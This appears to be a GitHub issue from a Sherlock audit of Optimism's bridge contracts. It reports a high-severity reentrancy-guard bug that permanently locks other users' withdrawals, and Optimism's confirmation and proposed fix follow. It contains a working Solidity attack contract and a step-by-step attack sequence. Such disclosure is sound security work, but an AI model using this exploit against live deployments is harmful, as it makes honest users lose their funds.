sherlock-audit / 2023-01-optimism-judging

25 stars 10 forks source link

HE1M - Causing users lose their fund during finalizing withdrawal transaction #87

Open github-actions[bot] opened 1 year ago

github-actions[bot] commented 1 year ago

HE1M

high

Causing users lose their fund during finalizing withdrawal transaction

Summary

A malicious user can make users lose their fund during finalizing their withdrawal. This is possible due to presence of reentrancy guard on the function relayMessage.

Vulnerability Detail

struct WithdrawalTransaction { uint256 nonce; address sender; address target; uint256 value; uint256 gasLimit; bytes data; }

interface IOptimismPortal { function finalizeWithdrawalTransaction(WithdrawalTransaction memory _tx) external; }

contract AttackContract { bool public donotRevert; bytes metaData; address optimismPortalAddress;

constructor(address _optimismPortal) {
    optimismPortalAddress = _optimismPortal;
}

function enableRevert() public {
    donotRevert = true;
}

function setMetaData(WithdrawalTransaction memory _tx) public {
    metaData = abi.encodeWithSelector(
        IOptimismPortal.finalizeWithdrawalTransaction.selector,
        _tx
    );
}

function attack() public {
    if (!donotRevert) {
        revert();
    } else {
        optimismPortalAddress.call(metaData);
    }
}

}

 - Bob sends a message from L2 to L1 by calling the function `sendMessage` with the following parameters. He intends to call the function `attack()` through relaying the message from L2 to L1.
   - `_target` = address of `AttackContract` on L1 
   - `_message` = abi.encodeWithSignature("attack()")
   - `_minGasLimit` = just big enough so that the transaction can be executed
https://github.com/sherlock-audit/2023-01-optimism/blob/main/optimism/packages/contracts-bedrock/contracts/universal/CrossDomainMessenger.sol#L212
 - On the L1 side, after challenge period and validation elapsed, the function `attack()` on contract `AttackContract` will be called during relaying the message.
https://github.com/sherlock-audit/2023-01-optimism/blob/main/optimism/packages/contracts-bedrock/contracts/universal/CrossDomainMessenger.sol#L324
 -  But, since `donotRevert` is `false` in the contract `AttackContract`, the relayed message will be unsuccessful. So, we will have `failedMessages[versionedHash] = true`. It means that it is possible again to retry relaying the message later.
https://github.com/sherlock-audit/2023-01-optimism/blob/main/optimism/packages/contracts-bedrock/contracts/universal/CrossDomainMessenger.sol#L331
```solidity
        if (!donotRevert) {
            revert();
        }

In summary the attack is as follows:

  1. Bob creates a malicious contract on L1 called AttackContract.
  2. Bob sends a message from L2 to L1 to call the function AttackContract.attack on L1.
  3. On L1 side, after the challenge period is passed, the function AttackContract.attack will be called.
  4. Message relay on L1 will be unsuccessful, because the function AttackContract.attack reverts. So, Bob's message will be flagged as failed message.
  5. Bob sets AttackContract.donotRevert to true.
  6. Bob waits for an innocent user to request withdrawal transaction.
  7. Bob waits for the innocent user's withdrawal transaction to be proved.
  8. Bob sets meta data in his malicious contract based on the innocent user's withdrawal transaction.
  9. Bob waits for the challenge period to be passed.
  10. After the challenge period is elapsed, Bob retries to relay his failed message again.
  11. CrossDomainMessenger.relayMessage will call the AttackContract.attack, then it calls OptimismPortal.finalizeWithdrawalTransaction to finalize innocent user's withdrawal transaction. Then, it calls CrossDomainMessenger.relayMessage, but it will be unsuccessful because of reentrancy guard.
  12. After finalizing the innocent user's withdrawal transaction, Bob's message will be flagged as successful.
  13. So, innocent user's withdrawal transaction is flagged as finalized, while it is not.

Impact

By doing this attack it is possible to prevent users from withdrawing their fund. Moreover, they lose their fund because withdrawal is flagged as finalized, but the withdrawal sent to L1CrossDomainMessanger was not successful.

Code Snippet

Tool used

Manual Review

Recommendation

Maybe it is better to use the following code instead of: https://github.com/sherlock-audit/2023-01-optimism/blob/main/optimism/packages/contracts-bedrock/contracts/L1/OptimismPortal.sol#L324-L329

        try IL1CrossDomainMessanger.relayMessage(...) {} catch Error(string memory reason) {
            if (
                keccak256(abi.encodePacked(reason)) ==
                keccak256(abi.encodePacked("ReentrancyGuard: reentrant call"))
            ) {
                revert("finalizing should be reverted");
            }
        }
rcstanciu commented 1 year ago

Comment from Optimism


Description: Causing users lose their fund during finalizing withdrawal transaction

Reason: This is a very creative exploit that takes advantage of the L1CrossDomainMessenger's reentrancy guard on relayMessage. By creating an attack contract that reverts the first time a message is relayed by the OptimismPortal to the L1CrossDomainMessenger, but can be toggled to call finalizeWithdrawalTransaction for a different withdrawal transaction when the attacker replays it via the L1CrossDomainMessenger, the attacker can force the honest withdrawal's call to the L1CrossDomainMessenger to revert, effectively bricking it. PoC: here

Action: If a withdrawal transaction fails, we should check to see if the _target of the WithdrawalTransaction is the L1CrossDomainMessenger. If so, check if the call's revert data is the reentrancy guard message. If it is, we should revert the finalizeWithdrawalTransaction message and NOT mark the withdrawal as finalized.